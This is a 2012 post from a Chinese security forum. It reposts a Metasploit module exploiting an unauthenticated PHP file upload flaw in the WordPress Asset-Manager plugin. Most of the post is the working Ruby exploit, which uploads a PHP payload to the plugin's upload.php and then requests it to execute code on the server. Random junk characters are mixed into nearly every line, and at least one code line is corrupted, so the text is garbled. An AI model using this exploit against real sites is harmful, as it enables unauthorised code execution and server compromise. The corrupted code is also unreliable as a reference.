找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
0 x# U$ a! K- M- e5 T
+ Z4 K: `' Q% l0 ~& l. p##
8 i6 D. F" |$ w% Q# This file is part of the Metasploit Framework and may be subject to
: r. R* I1 M# |5 ~1 F- D# redistribution and commercial restrictions. Please see the Metasploit3 D8 N. `3 N6 ?' F  y1 j
# Framework web site for more information on licensing and terms of use.9 q; q& [& u) C* Y, u
#   http://metasploit.com/framework/
: o8 [9 b  b% c( L##
- D/ N3 Q2 o+ }: ?$ r+ D/ d6 A; X 4 z1 w: M" m* z" J
require 'msf/core'( i$ R7 @  b& Z* T
require 'msf/core/exploit/php_exe'
0 I# V' h! i1 } + V6 Y! F0 B( s
class Metasploit3 < Msf::Exploit::Remote
- F$ t+ x% p! L1 N- C' l  Rank = ExcellentRanking, G! `9 b; D. w/ x3 L, E
; z# Z' }8 _- r1 Z
  include Msf::Exploit::Remote::HttpClient
( K2 N3 `: h/ K0 s+ g- v) ]8 n8 f% |  include Msf::Exploit:hpEXE
5 o' s' {0 F3 B0 {, I . Y+ a% [7 ?5 G( ?' z6 B! x
  def initialize(info = {})- P4 H' g7 X# q1 i" s" P) k
    super(update_info(info,2 e% H  d# e: a# F% e
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
, m7 r! k: }" b0 H" S, Q' A      'Description'    => %q{. Q& E2 l% m; ~, @- s' T
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
( H7 a1 S- c& k; w( }4 c) y  b0 s        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
8 Q  f' w( s. E- W5 ^* C        temp directory without authentication, which results in arbitrary code execution.
, x3 J) ?. n! G( l7 p  h' C3 P      },
# X# u. J+ f$ ]0 q      'Author'         =>% {, F4 |. P/ y1 M: U5 |
        [
3 g5 j( e/ A) U6 ?, T0 O* M' f% t( A          'Sammy FORGIT', # initial discovery
6 S2 |) f8 @2 l* c          'James Fitts <fitts.james[at]gmail.com>' # metasploit module. F" ?: Z& }4 n; R& x* m1 h
        ],
. w) o$ V' c4 @& G' \      'License'        => MSF_LICENSE,
3 C6 @- ^7 ~* a) v      'References'     =>
; n/ a# Y! b% |9 _6 [  |( d! D- X& ]        [
9 u8 v; E( D3 n' N. q% w+ `/ h/ H          [ 'OSVDB', '82653' ],
( p* T1 a# [3 G          [ 'BID', '53809' ],
& ?  T7 U& i% h; g          [ 'EDB', '18993' ],
5 l% Q3 H! m& q, }0 d          [ 'URL', 'http:// www.myhack58.com /' ]
3 x9 g  J! W7 L0 ?1 x! O        ],. h) m# S1 V  W8 W! X
      'Payload'       =>9 Q, o/ b2 G! h; K/ S
        {( U+ a2 ]3 m) `
          'BadChars' => "\x00"," [" I6 ]4 o+ h; N/ v
        },
4 P( R+ h! B. o% o. `      'Platform'       => 'php',: ^/ B  Y- c4 ?0 ]9 u
      'Arch'           => ARCH_PHP,
0 U* e& Z: S4 {7 h* @) E0 k      'Targets'        =>$ @+ O" m' B9 g+ Z
        [
( t# O( L1 u5 d0 i# [          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],9 B5 t% J! r* E
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+ ]4 ]: w! S' H7 u& L6 ~: @        ],: A, C: \& V4 X0 o
      'DefaultTarget' => 0,
/ W5 H. A4 m7 R      'DisclosureDate' => 'May 26 2012'))
. B1 p6 `7 k! D0 y/ G" U! x/ T : [; ^2 U2 e' A5 _  t; d0 M$ R
    register_options(7 Y; p+ l* ]. ]# |7 t! m  E" b
      [
8 S; \; t! f$ ~# I        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])9 e# g% ?  Z( d2 E/ h
      ], self.class)
$ Z# ^; j* C  \4 A! D  end
" S8 J& ~/ y) B% Z3 @ ; T1 w( v7 |' g" S( {: _9 B' S# ^
  def exploit7 f! ]. c: P, j' r
    uri =  target_uri.path
6 s7 Y% m9 |5 C/ e& g/ _( L8 @    uri << '/' if uri[-1,1] != '/'
8 x. O: Q  Y; t3 r    peer = "#{rhost}:#{rport}"
* u8 F: G5 V( N! \1 L! r6 h7 g    payload_name = "#{rand_text_alpha(5)}.php"
' Z: h; a% I# H4 K# A/ F    php_payload = get_write_exec_payload(:unlink_self=>true)+ d  t* k1 B3 T+ J8 U& p
* G! J# J; _) f+ a4 @5 X
    data = Rex::MIME::Message.new
- Q6 J7 E' d; u! p) W7 |    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
! e% R3 P. V7 J9 w, K9 J    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'): F8 `$ {& ]1 _5 n1 R1 ]' s1 p
7 {8 n* q0 m! V8 M
    print_status("#{peer} - Uploading payload #{payload_name}")
% f& B- S4 k7 m6 I; [- y* C    res = send_request_cgi({
( a- E3 H( k* X! Q# U/ {# m      'method'  => 'POST',
/ i0 w: Z( d' U# M6 x      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",# w! x0 M  a0 T2 d3 O8 i) O. D
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
% v9 [. x5 w3 g/ |5 t      'data'    => post_data( K9 H* T/ V5 T
    })! B+ N, r1 G% N/ x# Q: Z( l1 w& E

. V1 t, B0 [3 i. t    if not res or res.code != 200 or res.body !~ /#{payload_name}/2 v! T1 ^  P" r  N
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")! `6 C( L# B2 p
end0 c5 l! R7 I1 U5 @: }# ^% `# f

. ?4 e% x1 y2 U  T' W+ E( n    print_status("#{peer} - Executing payload #{payload_name}")
& ^# x! M7 }. K' q# H    res = send_request_raw({
  d* ^* s4 p5 b8 _# e      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
% F- [! s1 C; c4 Q      'method'  => 'GET'
2 y; \, p3 E4 a+ ^% e    })1 Y, ~. o6 P. q& W% h8 o

: f& O0 ^. H0 t+ s3 D) G9 f4 a    if res and res.code != 200+ y* R* R: \$ ]& I0 k$ v5 A7 D
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
5 J: ?+ e, y  O- ]% o5 q- l    end
! I, U* p. B' _# }# F- a+ G+ m8 q  end
, ?. `9 |1 m$ ^% Z  `1 W! Zend
  u1 c$ i9 {2 M6 c5 D# f$ Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表